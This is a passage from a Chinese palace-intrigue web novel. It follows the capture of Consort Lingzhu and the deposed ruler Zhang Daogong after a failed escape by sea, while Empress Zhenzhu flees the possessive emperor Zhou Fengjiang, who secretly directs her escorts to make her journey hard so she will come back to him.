她抬眸望着段充的下颌:“你放我下来,我跟你一起逃。但我要和陛下一起,陛下不走,我就不走。”
段充也妥协了。
婈珠提着布料粗糙的裙裾匆忙去张道恭的书房里寻到了他,一下跪伏在地,抱着他的一只脚,苦苦哀求他跟随自己乘船而逃。
到这个时候了,她仍然在意着张道恭,她还在不停地安慰张道恭说,周奉疆肯定已经死了,他们只需要逃出去暂时避几日,等到天下人皆知周奉疆身死之事,陛下再从外头回来,还有一线翻盘的希望的。
张道恭手指颤抖地连声答应下来:“好,好,阿婈,阿婈,朕听你的,朕随你走,咱们走,咱们先走……”
婈珠随赶紧起身,搀扶着张道恭一路往外头去。
而待在一旁的薛贵妃完全被眼前的景象给惊得愣住了,反应过来后,她也赶忙上前抓住张道恭的另一只胳膊:
“陛下!陛下,您这是要去哪?您要去哪里避难?为什么不带上妾?陛下,您要带上妾,妾的父亲才是陛下最大的助力啊,您不能不要妾!”
周婈珠忍无可忍,啪地一巴掌将薛贵妃扇倒在地上:“无知的蠢妇,你父亲还有什么助力给陛下?难道没人告诉过你吗,你父亲、你的母族薛氏一族早已被你父亲的部将给杀了个干净,如今的始兴郡已重回逆贼之手,你父亲比你还无能,于陛下而言有什么用处!”
薛贵妃愣住了。
她目瞪口呆地看着周婈珠:“你说什么?”
周婈珠不再理他,搀扶着张道恭的胳膊就和他一路远去。
不过才十几岁的女孩儿,于乱世中糊里糊涂地被父亲送到张道恭身边做了个“贵妃”,又浑浑噩噩地接受了这样惨烈的事实。
她瘫软在地上,看着自己的丈夫离自己逐渐远去,她想从地上爬起来追上他,可她没有了任何力气。
她想要回到自己始兴郡的娘家,想要回到家中看一眼自己的父母姊妹们是不是真的都出事了,可是她回不去了。
直到此刻,她依然不明白这一切究竟是如何发生的。
她的丈夫不仅抛弃了她这个妾室,还将他带到龙编县的为数不多所剩的血亲宗戚全都抛弃了。
真正逃亡时,他谁也没再捎上。
段充一路掩护着淑妃和张道恭来到了龙编县南面靠海的一处码头上,拖出了他早就准备好的小舟,让淑妃和张道恭乘坐。
这只小舟本就狭窄,勉强乘坐三个人就已达到了极限。
段充划动木浆,推动小舟于海面上缓缓远去。
可惜因为沿途的一路种种耽搁,当段充带着淑妃和张道恭乘舟出逃时,彼时的龙编县已然彻底沦陷。
有魏军到张道恭的书房处寻找这位亡国之君,却只找到了呆呆地瘫倒在地上哭泣的薛贵妃。
他们斥问薛贵妃是否知晓张道恭的去向,薛贵妃麻木地回答道:“陛下、和淑妃,从南面,欲出逃海外……”
魏军立刻朝南面追去,果然于海面上瞥见那小小的一叶扁舟。
身后追兵已至,小舟在海面上却寸步难行,似乎遇到了一股逆风,底部俨然都有些渗水了。
情急之下,张道恭趁着婈珠一时不备,猛地一把将婈珠推落海中,减轻了这小舟的负担,然后声嘶力竭地与划桨的段充呵斥道:
“你还不快些!今日你若为朕脱困……来日,朕定封你为万户侯!快走!”
然,见到婈珠落水的情景,段充目眦欲裂,转首极阴狠地望了张道恭一眼,掏出随身携带的匕首欲刺他,却又担心血腥味引来海中恶鲨,只能作罢。
他无暇再顾及这只小舟,想也不想地跳入海中去捞起快要被溺死的婈珠。
当婈珠一边慌乱地呛着苦腥的海水、一边攀附着段充的身躯浮上海面时,还没等她好好呼几口气,一张巨大的抄网便迎头落了下来。
……
被捞上船后,战船上的魏军副将神色复杂地望着她:“淑妃娘娘,周二娘子,段充。”
这些人里,许多人都曾经是在北地被她父亲周鼎提拔上来的将领。
他们认识婈珠并不奇怪,认识段充更不奇怪。
没想到有朝一日,他们又来抓自己旧日主公的女儿和从前的同僚,神色当然会复杂了。
而在婈珠被捞上船的那一刻,她看见,自己的丈夫……那个在最后时刻将自己推落水中的丈夫,那个她用尽心血爱了数年的男人,也被人五花大绑地捆了起来。
战船返航,驶回龙编县。
船首高悬的魏军军旗迎风招展,春风得意。
而他们将会被押回长安,以便将领们向皇帝复命。
一切都结束了。
远在长安的大魏皇帝,从此可彻底高枕无忧,再无任何烦恼。
第52章
逃出那个男人的掌心后,媜珠在外的日子其实也不大好过。
那夜从周奉疆身边出逃后,两个负责带她走的侍卫将她塞入一辆破旧狭小的简陋马车里,然后带着她从偏僻不见人踪的山路里逃跑,生怕走了大路、留下太过显眼的车辙痕迹,叫随后来追拿他们的人发现。
媜珠对此自然是全无异议,并且一再感谢他们思量的周全。
她那一日实在太困太累,在马车里颠簸了小半夜后,那种陡然逃离梦魇、重获自由的剧烈兴奋激动感慢慢退去,困顿倦乏之意上涌,她用一种蜷缩如婴儿般的姿势勉强在这马车里睡了下来。
媜珠生来高贵,不论是周鼎在时还是在周奉疆身边,她何曾受过这样的苦,坐过这样寒酸粗陋的马车?
尤其是在宫里做皇后时,她多走两步路周奉疆都怕累着她的身子,她所乘的皇后辇车、翟车等皆是极尽奢华精致,金银为质、珠玉做饰,即便是天宫仙姬下凡,所乘也不过如此了。
可此一时彼一时,媜珠并不在这些上面计较。
她并不认为那些是属于她应享受的荣华,只要能离开周奉疆,只要能不再在兄长身边受辱,所有的一切她都可以眼也不眨地舍弃。
这一觉迷迷糊糊地睡醒后,媜珠首先感知到的便是双腿和腰身的强烈酸麻痛楚。
她入睡时的姿势将大半个身体都不正常地蜷曲了起来,睡醒后会不难受才怪。
继而媜珠又发觉自己的发间和后背几乎都湿透了。
因为她靠在马车的一侧车厢木板上睡着的,但这简陋的马车上几块木板要么是透了孔、要么是裂了缝,一夜过去后,山林间的露水渗了进来,于是便将媜珠身上沾湿了大半。
媜珠鬓发散乱,狼狈地垂下了几缕,还有些沾在了她苍白的脸颊上。
沾湿衣衫的露水让她在清醒之后立刻感到了一股钻心的凉意,春日清晨的山林间本就透着些寒意,此时的她更是被冻得瑟瑟发抖。
她不知自己此刻神容何等凄然落魄,只是离了那男人身边一夜而已,却已憔悴得如跌落枝头、摔如污泥中的凋零牡丹。
世间一物自有一物的活法,譬如牡丹,生来美丽而又娇柔,自当被人精心收藏在温房暖阁里用尽心血照料呵护,为她小心翼翼地遮蔽风雨侵袭,方能让她无忧无虑开得美丽;譬如山间野花草木,生来不受约束,最喜山林尘雾雨水的滋养,离了野外的水土,哪怕有心移栽到花盆里、摆在屋檐下,那也是活不长的。
而她则命中注定属于前者。可她这时还不愿明白这个道理。
这时在外间驾驶马车的两个侍卫大抵听到了媜珠醒来的动静,问了一声娘娘可还好?
媜珠顿了顿,一边沉默地揉着她的双膝和腰部,一边说自己一切皆好,谢过他们昼夜赶车的辛劳。
她知道这一路能逃出来本就极不容易,自己是出来逃难的,不是来享受的,当然不会因为这等小事去和他们抱怨。
况且她尚能睡一觉,这两人却连睡都不敢睡呢。
媜珠微垂着眼眸缓缓在马车内挪动了两下,还不等她彻底平复过来,却见车厢顶部竟盘旋着一条吐着信子的细蛇,蛇眼阴森森地盯着她,仿佛在打量着如何可将她吞吃入腹。
这下媜珠是真的被吓坏了,她瘫软在马车里,艰难地想要从喉咙里说出话来,可实在是再没了嘶喊的力气,只能下意识慌张地用手拍打着马车的车壁,想要呼喊人来帮她。
驾车的两个侍卫试探地唤了两声“娘娘”,可是并未听到媜珠开口说话,而媜珠拍打着车壁的动作又没有停下来过。
这时候他们才停下了马车,其中一人跳下马车,掀开后面车厢的帘幕,查看媜珠的情况。
待掀开马车的车帘,看到那被塞进车厢里吃了一夜苦头的皇后时,此人心下也是一阵长吁短叹,感慨不已,心道陛下若是亲眼见到娘娘这样子,尚不知要如何心疼呢。
她也故作一副被吓了一跳的模样,然后上手擒住那条细蛇,将它丢入了一旁山路的陡坡下,看着那蛇飞快地游走了。
媜珠瑟缩在马车的一角,紧捂着胸口,仍然害怕得不敢说话。
那人安抚媜珠:“娘娘不必害怕,此蛇无毒,生性无害,恐怕是昨夜在山林间行走时,借着车帘的缝隙好奇钻进来的。”
媜珠这时才发现,原来昨晚上带自己出来的两个侍卫,细看之下才发觉竟是两个女子。
方才为媜珠抓蛇的那女子叫施四娘,驾车的那人是她二姊,乃施二娘,二人是亲姐妹。
施四娘又对媜珠嘘寒问暖了一番,媜珠渐渐从被蛇惊吓的恍惚中缓了过来,只摇头说自己无事,并没有别的不舒服的地方了。
而后媜珠又赶忙问起此刻她们身在何处,可曾逃出长安,皇帝那里可有派人来追她们,还是赶紧继续赶路才是。
她有些失神:“这样赶路,不知何时才能到千里之外的岭南,也不知这一路上还有没有别的变故。瞧见你们姐妹在一处,我心里真羡慕,我何时才能见到我的姐姐呢……”
施家两姊妹心想,您这辈子都去不了岭南了,趁早别做这个梦了才是。
恐怕您直到现在还没发现吧,把您带出来的人,根本就不是您那个所谓的好弟弟穆王安排的人。
您的姐姐、弟弟们,从来没有一个人真心想把您从陛下身边带走,其实穆王从头至尾就没有安排过接走您的人,他不过是诓骗您的罢了,他指望着您昨夜就将陛下毒害了呢!
陛下让我们姐妹把您带出来吃这回苦头,让您吃不好睡不好一路担惊受怕,实则就是想给您个教训,让您吃过苦头后乖乖再回到他身边而已。
可惜,这个差事对于施家姐妹来说的确太难太难做了。——应该说,对于任何人都是很难做的。
毕竟直至如今,皇后还是陛下捧在手心的挚爱,如若没有她自己折腾出来的这番幺蛾子,陛下哪舍得让她吃一点苦、受半分罪?
那都是疼在陛下他自己身上啊。
现在陛下让她们带皇后吃苦,不让皇后好过,既要全了陛下的吩咐,又不能真的叫皇后受了大罪。
这样娇滴滴的没尝过半分人间疾苦的美人,真遭了什么大罪、受了什么委屈,回头皇帝自己又心疼后悔了,万一把气再撒到她们身上,她们岂不是完了。
施家姐妹按下腹中心思,照媜珠的话一一都回了她,说她们这一夜已走了几十里的山路了,而且期间几次改变道途,她们三人用的也是穆王安排的假身份,到时候走到大路上,再用黄土之流涂抹了娘娘的面容,哪怕是守城官兵也查不到她们身上来。
媜珠终于露出一个微笑:“好,多谢你们了,这一路辛苦你们。”
她在身上摸了摸,本想摸出个首饰金镯玉镯的赠给她们当做谢礼,但是这才想起昨夜从周奉疆身边离开时什么也没带,眼下身上身无分文,只好不动声色地作罢了。
趁着这时停在山路边,施家姐妹因说娘娘大抵也饥饿了,咱们三人停下来吃些东西饱腹才好再走。
往常在宫里时,媜珠的一日三餐无不被人打点的尽善尽美,席间山珍海味、龙肝凤髓,金碗银勺、象牙为箸皆不在话下,即便这样,她胃口不好的时候还要挑挑拣拣一番才肯吃点东西呢。
眼下逃亡在外,她能吃到的只有一块硬邦邦的几乎嚼不动的干粮饼,似乎是粗粮和麦麸所制,勉强嚼下来的一小块,入口也粗糙生硬,味道干涩,咽下去都剐蹭得她纤细的喉管隐隐作痛。
她从未想过有朝一日自己也会吃上这些东西。
从前她听周奉疆提过这种干粮饼,她知道行军在外,有时沿途埋伏设陷敌军时,将士们不敢生火做炊,皆是躲在山林或峡谷两旁啃着这种干饼。
有的时候一些干饼实在太硬了,啃都啃不动,他们只敢掏出火折子、隔着火沾水小心地烤软一点就勉强入口。
后来媜珠曾和冀州城里的厨娘们钻研出一种更为适口、柔软的干饼,用北地冀州所产的稻麦所制,中间还可夹以肉干,保存的时间也更长。
因其做的更加精致了些,所需花费当然也会提升,虽然不能让三军上下士卒都吃上,但分给那些长于埋伏阻击的精锐骑兵步兵和潜伏在前方探查敌情的斥候们还是可以的。
周奉疆那时候在外面打仗,偶尔中途抽空回冀州一次,媜珠都会在他走之前为他准备许多这样的干粮肉饼,夹在里面的每一块肉干肉酱都是她亲手所制。
有许多个夜晚,他在离家临走前仍想着从她身上索取更多,媜珠勉力在床帷间满足过他,趁着他熟睡下来,她还会披衣起身,到家中小厨房里检查她为他准备的那些肉饼做的如何了。
做好后,她和婢子们一起将一块块肉饼精细地用油纸单独包好,好让他行军在外时可以随身带在身上,哪怕沿途遇到风吹雨打这肉饼也不会被淋坏,让他不论何时都能好好吃一顿饭。
不过这些都是过去了,爱与恨实在不能一一分得太清。
在这桩虚假的、充斥着欺骗和强夺的婚姻里,她对他并不是没有过付出,她也曾好好做过他的“妻子”。
见媜珠吃得极慢,仿佛还有些噎着了似的,施家姐妹又给媜珠递来一只水囊,让她就着水咽下几口。
媜珠一时不察,没发现这水囊里的水也是冷透了的,一口水下了肚,几乎将她的五脏六腑都冷得发抖起来。
显而易见,她吃不惯这些东西。
施家姐妹又赶忙请罪,说是她们思虑不周,没有准备好娘娘喜欢的糕点吃食,外头的条件艰苦,叫娘娘受委屈了。
媜珠不好意思这样麻烦她们,她又急急摆手称不是,说她并没什么不习惯的,只要能逃出来、只要能去往姐姐和建德皇帝身边,她没什么是吃不得喝不得的。
听得这话,施家姐妹心照不宣地低下了头。她们也很为难啊,
——皇后说的这些话,该原封不动地告诉给皇帝么?
告诉了吧,皇帝生气,这柔弱的皇后又少不了被惩罚一顿;若不告诉,这又是她们的渎职,毕竟皇帝可是让她们把皇后时时刻刻的一举一动一言一行都如实一一回报的。
哪怕只是和这赵皇后才相处了不足一日,可她们二人也能看得出来,这位赵皇后本性是极柔软善良又好相与的,她生来何等高贵显赫,又被皇帝宠了这么久,结果养在金玉丝帛之中,竟没有沾上半分高高在上、盛气凌人的脾性。
一国皇后啊,这样的美人,她和她们说话时皆是客客气气、温声软语的,叫她们心都软得不行,甚至有些不忍继续照着陛下的命令带她过苦日子了。
哎,她又是何苦敬酒不吃吃罚酒,好好的宠后日子过着还不行么?非要闹这么一出?和谁都能好好说话,就是和陛下不行。
正好趁此机会,施二娘遂委婉地规劝媜珠道:
“娘娘,婢等皆看得出来,娘娘千金万金之躯,本不该受这番颠簸劳苦的。临行之前,穆王和穆王妃也曾与婢等说过,娘娘若是路上实在吃不得这苦头,或是身子有所不适,只要娘娘愿意,婢等也可带着娘娘返程回到长安,送娘娘回到陛下身边。毕竟陛下宠爱娘娘如珠似宝,若娘娘愿意回头,还可继续去做陛下身边万千宠爱于一身的皇后娘娘,陛下也不会舍得责怪娘娘的。”
媜珠霍然惊恐地睁大了双眸,神情激动起来:“送我回去?你们这是什么话!你们怎么能这么跟我说……我不要,我才不要回头!我不要回去,不要把我送回他身边……”
施家姐妹又立刻安抚道:“娘娘!娘娘您别激动,婢等只是这么一说而已!穆王和穆王妃如此叮嘱,也是实在害怕娘娘经不得路途劳苦折磨,都是为了娘娘好!”
媜珠忍不住泣泪:“求求你们……不要吓我,不要和我说这样的话,我好不容易才逃出来,我不要回头,我要去见我二姐姐和河间王殿下,不要和我说这样的话……”
施家姐妹只能悉数答应下来:“是,是,娘娘您别哭,婢等皆知了,再不敢和娘娘提这话,一定把娘娘好好送到岭南的二娘子身边。”
简单地吃了点东西后,施家姐妹带着媜珠再度启程。
媜珠几乎没吃几口——因为她根本嚼不动那块干饼。上了马车后,她仍然可怜兮兮地捧着那块干饼,麻木地不停咀嚼着,想要填饱自己早已空瘪的肚腹。
是夜,三人昼夜兼程继续赶路,媜珠艰难蜷缩着身子再度睡下,而确认媜珠睡下后,施家姐妹放飞了一只信鸽。
不过几个时辰后,这只信鸽静静停在了陈阳陵围场内皇帝的营帐前。
倪常善满心忐忑地取下信鸽腿上绑着的信,躬身送到皇帝的御案前。
自皇后走后,皇帝至今滴水未进,连睡都没再睡一觉。
彼时,周奉疆身披一件墨色龙纹襌衣,正背对着倪常善负手而立,在夜色中望向一片漆黑的南方。他眸中布满血色,眼底沉着一片可怖的暴虐的怒意。
倪常善提着胆子小心提醒皇帝:“陛下,施氏姐妹的信回来了。”
皇帝沉默片刻后转过了身来,他慢慢踱步走回书案前,没急着先拆那信,指尖轻扣桌面,反而问倪常善道:
“你猜,她在外面过得如何?她可有后悔?可有想回到朕身边来?”
倪常善是一个头两个大,恨不得自己先一头撞死再说。
这样的问题他怎么能回答?他能怎么回答?
他只能先捡好的说:“不论早晚,娘娘总归会后悔的,一定会回到陛下身边来。”
周奉疆轻笑:“朕准你来做个见证,只要她此刻有丁点悔意,朕还能留她弟弟周奉弘一条活命。朕还可给她周家的血脉一点活路。”
倪常善垂着头不敢说话。
皇帝把那信纸先推到倪常善面前:“你看看,有这样的好姐姐在,穆王是该死还是该活?”
帝后这样闹起来,第一个想死的却是侍奉在君侧的倪常善。
他已然彻底麻木地接过那信纸,拆开,木讷地从头到尾看了一遍,细细读过施氏姐妹描述的皇后在外的一举一动、一言一行。
看完后,倪常善沉默得几乎失语了。
照陛下所说的话,有皇后这个姐姐如此作下去,穆王不是该死还是该活的问题了。
——他是该凌迟处死还是枭首示众?是剥皮实草还是五马分尸?
第53章
媜珠觉得委屈,周奉疆心中又何曾痛快过。
哪怕到了这一刻,他仍旧认为自己对她让步颇多,他给了她无数次回头和他认错的机会。
除了对她之外,他何曾这般宽容地对待过旁人?
如果是别人敢这样挑战他的底线,阖族上下早不知被灭了多少回了!
起先知道她和她姐姐暗有往来,他虽愤怒,但也忍耐了下来,他让佩芝用尽旁敲侧击的手段提醒她——她那些鼓动她出逃的所谓血亲手足实则都对她暗怀鬼胎,他早已知悉她的所作所为,他希望她能知错就改,早日回头。
只要她愿意在这时候停手,他可以装作毫不知情,爱她如初。
可她没有。
后来他又退步了,他想再给她一次机会,就算她真的就这么想走,他也亲自向她暗示了他知道那珍珠手钏的事情,他希望哪怕她是出于害怕或恐惧的心理,只要她能就此停手,他便不再和她计较。
但媜珠仍是装作听不懂他的提醒暗示,不理不睬,桀骜依旧。
他都快被她给气死了也拿她无可奈何。
直到在她走的那一晚,他用了几近哀求的语气挽留了她,恳请她能留下来不要走,她还是不为所动。
不仅不为所动,她还骗了他,骗他说她不会走。
现在她走了,去找她的旧日情郎去了,他却还在这样卑微地期盼等待着她可能会表现出来的后悔。
他一次次对她充满希望,而她则一次次让他失望直至绝望。
当看到倪常善看完信后的那一副无言以对的为难表情时,周奉疆就知道施氏姐妹捎回来的必然不会是什么让他高兴的消息。
那养不熟的小白眼狼忽然被放出了笼子,在外头还不知能有多高兴,恐怕早就将他这丈夫、兄长抛之脑后了吧。
皇帝不再等待倪常善的回答,他瞥了倪常善一眼,倪常善立刻会意,将那封拆开的信小心地托在掌心里奉到皇帝面前,请皇帝再过目。
即便已经做好了要被媜珠触怒的准备,但当从头到尾地看完这份信报后,周奉疆的脸色还是阴沉难看到了极致。
倪常善这时已悄无声息地后退了数步,远离了皇帝,并且自觉垂下了头去,不准备再向皇帝提供什么宽慰之言了。
——他认为这本就不在他的职责范围之内,他不该因为皇帝的情场失意而连带着受到折磨,他也很委屈、很无奈。
还说什么呢,说什么都没用,人家那边是铁了心的要跑,纵使你是天子帝王,纵使你将世间一切珍宝全捧到她脚下讨她欢心、求她展颜一笑,人家也照旧不领情。
皇帝一言不发地将那张纸攥在掌中,那张可怜的薄薄的信纸很快被他揉成了数片碎纸,他缓缓松开手掌,那纸屑飘了一地,像落了一地凄白的雪。
周奉疆觉得,或许他应该由他来主动结束这场闹剧。
他不愿他的狼狈再暴露在他的臣下奴仆们眼前,他已后悔让这些人一一见证了自己在这场情爱里的困顿窘迫。
寂寥的夜色中,皇帝最终低声说道:
“去,告诉施氏姐妹,不必等皇后主动后悔再把她送回来。在外的这些时日里,只要皇后说自己撑不住了、或是受不住这样的车马劳顿,无需皇后首肯答应,她们就可将皇后带回朕身边来。”
他又让步了,似乎他还能做的事情,也只有不停地继续让步。
在媜珠逃跑后,一开始他对施氏姐妹下令说,要她们不用额外照顾皇后,叫她在外面该吃苦就吃苦,等皇后受了些磋磨后,她们再出言相劝,劝皇后回到他身边来。
皇后必定会回心转意的。
他想,哪怕媜珠确实抛弃过他一次了,只要她吃了苦之后愿意回头,他还是会照旧爱她、宠她,待她如往昔一般。
然而这一招对媜珠依然是不管用。
现在周奉疆拿媜珠彻底毫无办法了。
他甚至无法再等到媜珠亲口说出后悔两个字,他惟有对施氏姐妹说,不用皇后后悔,只要发现皇后说她承受不住在外的苦楚,她们就可以直接带她回来。
或许媜珠生来就是他命中最大的劫,那他认了就是。
在冀州侯周鼎的十几个女儿里,只有他前面几个女儿的名字还算是他自己取过的。
而在这几个女儿里,又数他的第二女和第三女最为尊贵。
一个是长女,一个是嫡女,自是不同于其他姐妹的。
只有给媜珠、婈珠取名时,周鼎才用了这样的心思,女儿闺名中既从女,又有玉。
而他后面的几个女儿,有的叫芩姬、有的叫晚娘、有的叫蕊儿、还有叫依依的,恐怕都是他随口胡乱取来的,甚至还有他根本懒得取名字的。
这么看起来,媜珠的名字也惟有和婈珠相提并论时,才会让人觉得她们当真是出自一族的亲姐妹。
或许真的是血脉共生的缘故,婈珠和媜珠这对姐妹之间的缘分,使得她们在这段时日内的人生轨迹再度相似的重合了起来。
——因为她们都在承受着车马劳累之苦。
龙编县被攻克后,魏军一一清点细数张道恭身边剩下的臣僚、妃妾、宗室、皇戚们,然后将这些人再一一塞入牛车驴车中,充作战利品一般络绎不绝地运回魏都长安,以悦大魏皇帝之心。
这些战利品里,最为特殊的,除了亡国之君张道恭本人外,就是周淑妃了。
从海里被捞上来后,婈珠浑浑噩噩地回忆起自己先是被人关进了船舱里看押着,后来她又被带下了船,让人塞进马车中,那马车行驶得极快,像是十分着急带走她似的,一路颠簸得她五脏错位、浑身酸痛。
直到三四天后,婈珠才终于对贴身看管她的一个老妇人说了一句话:
“……你们这是要带我去哪里?”
老妇人不卑不亢地回她:“我们皇帝陛下说,要带淑妃娘娘去长安,去见您的三妹妹。”
婈珠披头散发,狼狈不堪地倚靠回马车的车壁上,嘲讽地轻笑了一声:
“什么?你们的皇帝陛下?我的三妹妹?他们还没死么?国丧还没传遍天下吗?我是等着去替我的三妹妹、三妹夫哭丧呢。”
她言语不逊,老妇人也未露出丝毫异色:“我朝皇帝陛下、皇后殿下,承天之祐,福泽万年,自然不会轻易叫蝼蚁蛇鼠之徒暗害。”
婈珠愣住:“他们真的没死?真的都没死?你骗我,不,你骗我,我不信!”
老妇人语气还是那样平淡:“邓元益邓大将军命婢转告淑妃:穆王周奉弘、颍川公主驸马之弟韩孝民等人皆已被下大狱,静候陛下发落处置。受亲弟弟的牵连,颍川公主驸马韩孝直已被革职。”
婈珠眼底的最后一丝期望彻底破碎:“……是么?是么?他们都被下了大狱,都被处置了,我的筹谋、我的心血,原来一切全白费了,全成了空。——是周媜珠那个贱人对不对?是那个贱人出卖了我对不对?她信中和我说的好听,和我说她多么痛苦、多么想要逃跑,结果转过身就把我们全出卖了,她又和周奉疆交媾求欢,踩着我们周家人的血继续做她那个所谓皇后,是不是她?”
老妇人看着婈珠,神情复杂地摇了摇头,还不等她继续说什么,一个中年男人的声音忽然在马车外响起:
“不论是馆陶县主还是我大魏的赵皇后,一直视您为亲姐姐,对您极尽信任,二娘子,是您让您妹妹失望了。”
婈珠错愕地抬起头。
来人正是后来接替了韩孝直的主帅邓元益。
这人今年已经将近五十岁,还是她父亲周鼎在的时候,在北地冀州提拔上来的一个副将。
从前邓元益极得冀州侯周鼎信任,可时常出入冀州侯府中,因此婈珠当然是认得他的。
邓元益有些悲悯地静静望着婈珠:“二娘子,您要是从头至尾就不折腾,今时今日已贵为公主,享无边荣华,一生顺遂。”
只这一句话就让婈珠泪如雨下。
——她倒不是被邓元益给劝动了。只不过,因为邓元益从前和她父亲周鼎关系亲厚,几如兄弟一般,在看到邓元益时,婈珠隐约从他身上回想起了自己父亲的模样。
她忽然悲痛又疯狂地失声大哭起来:“折腾?折腾?难道我所做的一切只是折腾么?我做这些是为了谁?是为了什么?我是为了我们周家人,我是为了我的父亲、我的生母,我才是我父亲的骄傲!”
“什么叫不折腾?什么是认命?我告诉你,我不稀罕周奉疆赏赐的什么公主名分、公主尊荣!难道像周芩姬她们一样,在周奉疆杀了我的兄弟叔父亲人们之后,她们这些女人个个关起门来装缩头乌龟不敢呛声,靠着装聋作哑去祈求周奉疆的庇佑,然后就能得到这些荣华富贵吗?我死也不稀罕!”
“邓元益,我告诉你,你们这些人,你们所有人,你们死后都无颜去见我的父亲!你,周媜珠,周芩姬,八娘、十二娘,还有赵氏那个贱妇,所有对着周奉疆奴颜婢膝的贱人,等你们死后到了阴司地府里,再见到我的父亲,我父亲一定会杀了你们所有人。他睁着他的那双眼睛在天上看着,他知道的,只有我这个长女才继承了他的骨气,继承了周家人的血性,只有我才是他的骄傲。”
邓元益见她这如失心疯般了的模样,长叹一口气后,已再无和她说话的欲望了。
和一个疯子没什么好说的。
他没再说话,只是默默地看着婈珠看了许久,他也只是想到了他的旧主周鼎,他同样是看着婈珠长大的,甚至年轻时曾经喝过婈珠满月时的满月酒,故而对这个女孩儿有了几分为人父般的悲悯。
然而,就在邓元益转身要走时,婈珠的哭声止歇了下来。
她趴在马车的一角,用衣袖随手抹了把泪,轻声地对他问出了几个字:
“……我的段充呢?”
邓元益愣了愣,回道:“还没死,活着。被另外关押起来了,等着回长安受审。”
这桩谋逆大案里,段充也是周婈珠和韩孝民里外勾结的最重要一环,哪怕他只是个看似微不起眼的侍卫,也是绝不可以轻易忽略的。
婈珠呼出一口气,点了点头。
片刻后,她低着头退下自己手腕上的那只玉镯,头也不回地递给了邓元益。
“将死之人,不必为难他。这只镯子给你,算我最后麻烦你一回,你替我为他安排两顿饱饭,再给他找个女人,让他吃饱喝足舒舒服服地等着上路吧。”
她知道段充肯定是活不了了,犯了这样的大案,恐怕周奉疆就连死也不会让他死得太轻松,被斩首示众都算是他走了大运能痛痛快快地死了。
那只镯子,还是当年她嫁给张道恭做河间王侧妃时,张道恭赏给她的。
多年来她一直爱护非常,视若珍宝,此刻再想想,于她而言也没那么重要了。
邓元益在婈珠看不见的地方轻笑了下,他并未拒绝婈珠,而是收下了那只玉镯,对她说了个“好”字。
与婈珠一路的辛苦艰难相同又不同的是,即便同样在马车上过得很不舒服,媜珠却连吭也未吭一声,而且她甘之如饴。
施氏姐妹一路上数次问及媜珠可还撑得住,因为逃出来的那天晚上,她在夜间入睡时被露水沾湿身体受了凉,之后就一直有些发热,不太好过的样子。
可媜珠每次都坚称自己无事,一再要求她们快些赶路,她要早日见到姐姐和张道恭,她更怕身后周奉疆会派人来追捕她。
如此,就算施氏姐妹看出媜珠短短几日内整个人都被熬得瘦了一圈儿,只要媜珠自己不松口说不舒服,她们也不敢直接带她回头,只能按着既定的路线一路往南走去。
几日相处下来后,她们发现这赵皇后还真有点苦中作乐的本事。
每日里,不论马车如何颠簸,她除了不开口抱怨劳苦之外,就是安安静静地待在车厢里,从车帘掀起的一角来观察着外面的世界,哪怕是山林中的一花一木,皆让她觉得新奇有趣,能让她津津有味地看上许久。
她学会了辨别山中的各种浆果,会趁着施氏姐妹休息的时候去摘来新鲜的浆果,送给她们姐妹解乏解渴,说是感激她们一路上辛苦照顾她。
她还很快学会了如何照料这匹跟随她们的马儿,每当停下休整时,施氏姐妹在一旁啃着干粮喝水休息,媜珠就会主动上前给马儿喂食喝水,她观察出这马儿喜欢吃什么样的草,也会自己在山林左右采草来喂马。
除此之外,她居然还摸清了如何给这马儿打理毛发,梳理鬃毛,总是将这马儿弄得干干净净漂漂亮亮的。
现下,就连这匹马都喜欢她喜欢得不得了,每每媜珠去给它梳理毛发时,它就无比高兴欢快,两只马耳朵轻轻转动着,双目明亮温柔地注视着媜珠的动作。
施氏姐妹心里叹息,有时连她们也搞不明白,深宫内帷里,陛下到底对赵皇后做了些什么?为什么会让这位天下女子艳羡的宠后本人这样迫不及待地逃离他?
赵皇后对一匹马都能这样细致入微地温柔照料,那陛下到底是怎样对待了她,才让她恨到出来的数日里对他一个字也不想再提?
最让施氏姐妹崩溃的一件事发生在后面的几日中。
因为皇帝让她们带着皇后过苦日子、熬一熬皇后的性子,所以她们身上当然会表现出囊中羞涩的窘迫来,而赵皇后逃出来的时候什么金银首饰也一件没带,她们理所当然地因为缺钱在外面吃不好、喝不好、住不好、睡不好。
——于是,某日路过某个县城时,赵皇后居然萌生出了卖头发的念头。
她们是沿途遇见了一个收头发的小摊贩,这些摊贩买来女子头上的长发后往往会再高价兜售给有需要的旁人。
赵皇后瞧见这个满嘴吆喝收头发的小贩子后,起先闷闷地犹豫了片刻,而后便语出惊人,说想要卖去自己的头发,给她们换一笔盘缠路费,哪怕能换一只烧鸡的钱,给她们吃顿饱饭也是好的。
施氏姐妹当时你望着我、我望着你,姐妹两人都抓狂得快要晕倒了。
她们当下赶忙阻拦皇后。
这可不是闹着玩的!且不说身体发肤受之父母、何其贵重,何况陛下只是让她们熬一熬皇后的性子,要是把皇后的头发都熬没了,回头她们姐妹的人头也该落地了。
再者,被养得这样漂亮细滑的浓密乌发,一个女子怎么能说卖就卖呢?
赵皇后却是无所谓的样子,低头梳理着头发和她们道:“不过是一团烦恼丝罢了,有什么非要它不可的理由么?不如卖了它,多换些银钱在身上才是正理。”
施氏姐妹是连拉带劝,最后也是实在口不择言,竟然对媜珠道:
“娘娘不是一心要见河间王殿下吗?娘娘没了头发,这美貌也要折损几分,河间王殿下也不会想见到这样的娘娘的!在河间王殿下的心里,娘娘肯定还是当年那个鬓发如云、娉娉婷婷的北地第一美人,娘娘可千万别做傻事啊!”
媜珠只是又犹豫了片刻,就无比坚定地对她们说:
“不会的,我和殿下青梅竹马,我知道殿下不是那样的男人。他从不以容色看我,我在他面前,也并非像对……对那人一样以容色侍人。就算我没了头发,他也不会因此另眼看我。”
施氏姐妹听闻这话后愣在当场,心中是一片死灰,为赵皇后感到了绝望。
——皇帝知道了这话,还不知要如何发怒,最后这怒火又要赵皇后柔弱纤细的身子来承受,何苦呢?
媜珠的头发最后还是没卖成,因为她被施氏姐妹按在马车里强行带走了,直到她们的视线里再也看不到那收头发的小贩子后,媜珠才被人放了开来。
虽然头发没卖成,可今日之事还是被施氏姐妹一五一十原原本本地写在信中寄给了皇帝知晓。
为了逃跑,为了换一笔路费去见张道恭,她连自己的头发都舍得卖。
别人劝她别卖头发损伤容貌,她还敢信誓旦旦地扬言说张道恭对她是真心相爱、不像他一样只爱她的美貌容色。
这一次,在收到施氏姐妹寄回的信时,周奉疆并没有表现出很生气或是面色铁青阴沉的样子。
